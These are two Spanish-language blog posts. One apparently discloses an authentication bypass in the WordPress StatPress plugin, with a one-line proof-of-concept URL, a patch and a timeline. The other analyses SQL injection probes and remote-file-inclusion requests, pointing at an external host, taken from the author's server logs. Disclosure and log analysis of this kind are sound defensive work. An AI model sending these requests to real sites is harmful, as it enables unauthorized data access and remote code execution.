11 de diciembre de 2009

Salto de resticciones en Statpress

Recientemente he descubierto un fallo en el plugins de wordpress 'statpress'.

El error es causado por el modo en le que este plugin realiza la acción de exportar. El manejador no comprueba correctamente los permisos del usuario que llama ha esta acción. Esto permitiría a un atacante no autenticado obtener los datos de las estadisticas.

Dado el comportamiento del manejador, la acción de exportar se realiza durante la importación del plugin; dado que statpress realiza el las estadisticas durante la etapa de 'wp-head' esta acción no queda reflejada en las estadisticas.

El fallo se soluciona creando una acción en la etapa de 'init' de Wordpress (antes de enviar las cabeceras) haciendo que se llame a un evento apropiad.

Este error no se puede explotar si el plugins no esta activo.

Prueba de concepto

site.com?statpress_action=exportnow&from=FECHA&to=FECHA&del=SEPARADOR

Parche sugerido:

add_action('init', 'iri_checkExport');
function iri_checkExport(){
if ($_GET['statpress_action'] == 'exportnow') {
$mincap=get_option('statpress_mincap');
if ($mincap == '')
$mincap = "level_8";
if ( current_user_can( $mincap ) )
iriStatPressExportNow();
}
}

TIMELINE:
04-12-2009: Descubierta
06-12-2009: Creda posible solución
11-12-2009: Notificado
12-12-2009: Recibido comunicado de que lo solucionarán
13-12-2009: Se inserta el fix pero no se borra el error, Notificado
18-12-2009: Solución final publica

2 de diciembre de 2009

Primeros ataques, siguiendo el rastro

He estado haciendo una revisión de los log del sistema y he encontrado unos que he recibido unos cuantos ataques.

A continución he realizado una pequeña investigación sobre los incidentes.

Los ataques que he detectado han sido de dos tipos.


  • Inyecciones SQL:


    El día 2009/10/18 a las 21:14:52 desde 209.208.106.XXX (EEUU)
    Petición: "?m=1+order+by+87652--&hello="
    User-Agent: DataCha0s/2.0
    En la petición podemos ver como se intenta modificar la petición SQL realizando una ordenación, el parámetro hello es una incógnita para mi, pero se iguala a el valor NULL.
    Si usamos un Whois podremos ver que esta IP pertenece a un servidor.

    El día 2009/11/04 a las 00:39:44 desde 128.59.66.XXX (EEUU)
    Petición: "p=1+order+by+100--&jhfas="
    User-Agent: DataCha0s/2.0
    Este es un ataque similar, que se realiza desde una IP de la universidad de columbia en EEUU.


  • Remote File Inclusion:


    El día 2009/11/21 a las 17:09:46 y 17:09:48 y el día 2009/11/25 a las 08:45:04 y 08:45:05 desde 213.180.89.XX (Suecia)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.79
    Este es un intento de incluir y ejecutar en mi servidor el código que se encuentra en el sitio vulnerado. El ataque partió desde un servidor multidominio.

    El día 2009/11/24 a las 23:40:31 y 23:40:33 desde 80.249.173.XXX (Hungría)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.805
    Similar al anterior desde otra IP. También es desde una IP de un servidor.


Con los datos obtenidos de la IP he podido saber su ubicación general, esta información de posicionamiento es un tanto mala con lo que solo he decidido poner el país ya que poner más seria errar en la ubicación casi con toda seguridad. Dado que son servidores y que por tanto no pertenecen a un ISP "normal" de internet, tendríamos que rastrear en los log de los servidores para saber como partió la petición hacia nuestro servidor, que seguramente fuera un bot en el equipo.

En el caso de haber sido usado como proxy tendríamos que buscar a quien estaba "bypasseando" y preguntar a su ISP, si estuvieran varios proxys en cascada esta labor puede ser casi imposible, ya que si en algún sistema no hubiera los suficientes log el rastro se habría perdido.

Con estos datos obtenidos es fácil ver que el User-Agent son peculiares. En el caso de los SQL inyection y genérico de la librería de perl en los otros casos. Esto nos hace pensar que el ataque ha sido realizado de forma automática.

No creo que haga falta decir que estos ataques no han hecho nada ya que Wordpress no tiene este problema de seguridad.

Tras este pequeño altercado he pensado desarrollar un pequeño plugin para Wordpress que cuando reciba una petición obtenga el User-Agent y si es reconocido como un posible atacante de un 404 y no procese nada.

Más información:
http://www.user-agents.org/allagents.xml